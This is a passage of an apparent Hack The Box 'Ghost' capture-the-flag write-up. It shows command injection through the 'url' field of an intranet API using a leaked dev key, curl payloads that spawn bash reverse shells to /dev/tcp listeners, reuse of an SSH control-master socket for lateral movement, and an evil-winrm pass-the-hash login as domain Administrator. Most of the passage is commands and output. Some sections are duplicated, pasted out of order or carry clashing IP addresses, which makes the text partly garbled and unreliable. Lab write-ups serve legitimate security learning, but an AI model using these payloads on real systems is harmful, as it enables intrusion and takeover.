htb-ghost

htb-ghost

<snip>

 

 

Initial Access

Crafting our Payload

  • Target API URL: http://intranet.ghost.htb/api-dev
  • Vulnerable Route: /scan
  • Authentication: Requires the header X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe
  • Format: The API expects input in JSON format within the url variable:
    • basic body 
      {
"url": "http://test.com"
}

      To execute commands, we can pass the URL as expected and append ; or | followed by our command:

    • {
"url": "http://test.com"; whoami
}

      Final Payload would be like this

    • curl -s -X POST http://intranet.ghost.htb:8008/api-dev/scan \
-H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' \
-H 'Content-Type: application/json' \
-d '{"url":"https://test.com; whoami"}' | jq -r '.temp_command_stdout'

      .

    • Our command executes successfully, confirming that the application is running as root.
    • $   curl -s -X POST http://intranet.ghost.htb:8008/api-dev/scan \
  -H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' \
  -H 'Content-Type: application/json' \
  -d '{"url":"https://test.com; whoami"}' | jq -r '.temp_command_stdout'

root

      .

.

Getting a Shell as Root

Start a listener

rlwrap -cAr nc -lvnp 4444 -s 0.0.0.0

Run our reverse shell command
 curl -s -X POST http://intranet.ghost.htb:8008/api-dev/scan -H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' -H 'Content-Type: application/json' -d '{"url":"https://test.com | bash -i >& /dev/tcp/10.10.16.44/4444 0>&1 "}'

.

$ curl -s -X POST http://intranet.ghost.htb:8008/api-dev/scan -H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' -H 'Content-Type: application/json' -d '{"url":"https://test.com | bash -i >& /dev/tcp/10.10.14.14/4444 0>&1 "}'

.

$ rlwrap -cAr nc -lvnp 4444 -s 0.0.0.0
listening on [any] 4444 ...
connect to [10.10.14.14] from (UNKNOWN) [10.129.231.105] 49836
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@36b733906694:/app#

.

From the first sight of the hostname, it seems to be a container. .dockerenv ensures our thoughts and docker-entrypoint.sh is the entry point that start when running the container

Checking the entrypoint script

Nothing important just writes an SSH configuration to /root/.ssh/config then execute the ghost_intranet binary

Checking for SSH keys, i Found an ssh key for florence.ramirez@ghost.htb on workstation dev-workstation

There were no external port open for ssh so i would use it locally

ssh -i florence.ramirez@ghost.htb@dev-workstation:22 florence.ramirez@ghost.htb@dev-workstation

This Pseudo-terminal warning typically appears when you’re not running the SSH command interactively

Get a reverse shell from this stdin

Start listener on local host

rlwrap -cAr nc -lvnp 4444 -s 0.0.0.0
Execute this shell code on the non interactive ssh
$ rlwrap -cAr nc -lvnp 4444 -s 0.0.0.0
listening on [any] 4444 ...
connect to [10.10.14.14] from (UNKNOWN) [10.129.231.105] 49836
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@36b733906694:/app#   bash -i >& /dev/tcp/10.10.14.14/4444 0>&1

catch shell

$ rlwrap nc -nlvp 4444                                                             
listening on [any] 4444 ...
connect to [10.10.14.14] from (UNKNOWN) [10.129.231.105] 49804
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@36b733906694:/app#

From the first sight of the hostname, it seems to be a container. .dockerenv ensures our thoughts and docker-entrypoint.sh is the entry point that start when running the container

Checking the entrypoint script

Nothing important just writes an SSH configuration to /root/.ssh/config then execute the ghost_intranet binary

Checking for SSH keys, i Found an ssh key for florence.ramirez@ghost.htb on workstation dev-workstation

root@36b733906694:~/.ssh/controlmaster# ls -la
ls -la
total 12
drwxr-xr-x 1 root root 4096 Oct 12 18:09 .
drwxr-xr-x 1 root root 4096 Jul  5  2024 ..
srw------- 1 root root    0 Oct 12 18:09 florence.ramirez@ghost.htb@dev-workstation:22
root@36b733906694:~/.ssh/controlmaster#

here were no external port open for ssh so i would use it locally

ssh -i florence.ramirez@ghost.htb@dev-workstation:22 florence.ramirez@ghost.htb@dev-workstation

This Pseudo-terminal warning typically appears when you’re not running the SSH command interactively

Get a reverse shell from this stdin

Start listener on local host

rlwrap -cAr nc -lvnp 4444 -s 0.0.0.0
Execute this shell code on the non interactive ssh
bash -i >& /dev/tcp/10.10.14.4/4444 0>&1

.

 

  • Log in to the Domain as Administrator
$ evil-winrm -i dc01.ghost.htb -u administrator -H 1cdb17d5c14ff69e7067cffcc9e470bd
                                        
Evil-WinRM shell v4.1
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
                                        
Info: Connection successful
*Evil-WinRM* PS C:\Users\Administrator\Documents>

 

Resources